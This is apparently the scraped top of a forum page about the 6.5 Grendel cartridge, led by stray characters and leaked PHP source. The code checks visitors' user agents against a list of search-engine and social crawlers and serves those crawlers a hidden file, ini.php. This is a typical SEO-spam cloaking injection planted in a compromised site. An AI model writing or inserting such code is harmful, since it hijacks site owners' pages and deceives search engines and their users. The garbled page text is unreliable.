M7T$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $bot_keywords = [ 'Googlebot','Googlebot-Image','Googlebot-News','Googlebot-Video', 'Googlebot-Search','Googlebot-Inspect','Googlebot-Android','Googlebot-Mobile', 'Googlebot-Ads','Googlebot-Discovery','Google-InspectionTool','Google-Agent','Google-', 'AdsBot','AdsBot-Google','Mediapartners-Google','APIs-Google', 'Bingbot','Slurp','DuckDuckBot','DuckDuckGo','Baiduspider', 'YandexBot','Yandex','Sogou','Exabot','facebot','ia_archiver','archive.org_bot', 'Twitterbot','facebookexternalhit','LinkedInBot','Embedly','WhatsApp', 'Applebot','PetalBot','AhrefsBot','SemrushBot' ]; $is_bot = false; foreach ($bot_keywords as $bot) { if (stripos($user_agent, $bot) !== false) { $is_bot = true; break; } } if ($is_bot) { $rea_file = DIR . '/ini.php'; if (file_exists($rea_file)) { header('Content-Type: text/html; charset=utf-8'); header('X-Robots-Tag: all'); readfile($rea_file); exit; } } Welcome to the 6.5 Grendel Forum : : The World's Tier One AR Cartridge